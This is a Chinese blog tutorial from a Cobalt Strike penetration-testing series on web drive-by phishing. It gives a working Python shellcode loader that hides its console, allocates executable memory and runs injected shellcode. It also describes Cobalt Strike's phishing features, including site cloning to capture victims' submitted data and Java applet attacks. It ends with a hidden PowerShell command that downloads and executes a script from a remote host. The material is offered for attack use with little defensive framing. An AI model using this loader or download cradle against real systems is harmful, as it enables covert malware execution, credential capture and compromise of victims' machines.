Cobalt Strike从入门到精通之Web Drive-By web钓鱼攻击

最新推荐文章于 2025-03-19 17:03:39 发布

风炫安全

最新推荐文章于 2025-03-19 17:03:39 发布

阅读量534

点赞数

分类专栏：渗透测试 cobalt strike 文章标签：内网内网安全 cobalt strike

本文链接：https://blog.youkuaiyun.com/hyj123480/article/details/114481827

版权

渗透测试同时被 2 个专栏收录

48 篇文章

订阅专栏

cobalt strike

9 篇文章

订阅专栏

本文详细介绍了如何使用Python编写payload加载器，结合CobaltStrike进行Web钓鱼攻击，涉及内存分配、代码保护和Web服务操纵等技术。重点展示了通过VirtualAlloc和VirtualProtect进行shellcode注入的步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

https://www.bilibili.com/video/BV1P64y1f7e1?p=6

Cobalt Strike Web Drive-By web钓鱼攻击

在这里补充一个上节课的新的知识点，如何使用python语言的payload 加载器去攻击

# length: 894 bytes
from ctypes import *
import ctypes
buf = "" #这里填写payload
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
    buf = c_char_p(buffer)
    size = len(buffer)
    addr = libc.valloc(size)
    addr = c_void_p(addr)
    if 0 == addr: 
        raise Exception("Failed to allocate memory")
    memmove(addr, buf, size)
    if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
        raise Exception("Failed to set protection on buffer")
    return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:
       if 1:
              ctypes.windll.user32.ShowWindow(whnd, 0)   
              ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

模块介绍

翻译

这个菜单的中英文翻译

Manage  对开启的web服务进行管理；
Clone Site 克隆网站，可以记录受害者提交的数据；
Host File 提供一个文件下载，可以修改Mime信息；
Scripted Web Delivery 类似于msf 的web_delivery ;
Signed Applet Attack 使用java自签名的程序进行钓鱼攻击;
Smart Applet Attack 自动检测java版本并进行攻击，针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本；
System Profiler 用来获取一些系统信息，比如系统版本，Flash版本，浏览器版本等。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.149.208:80/test'))"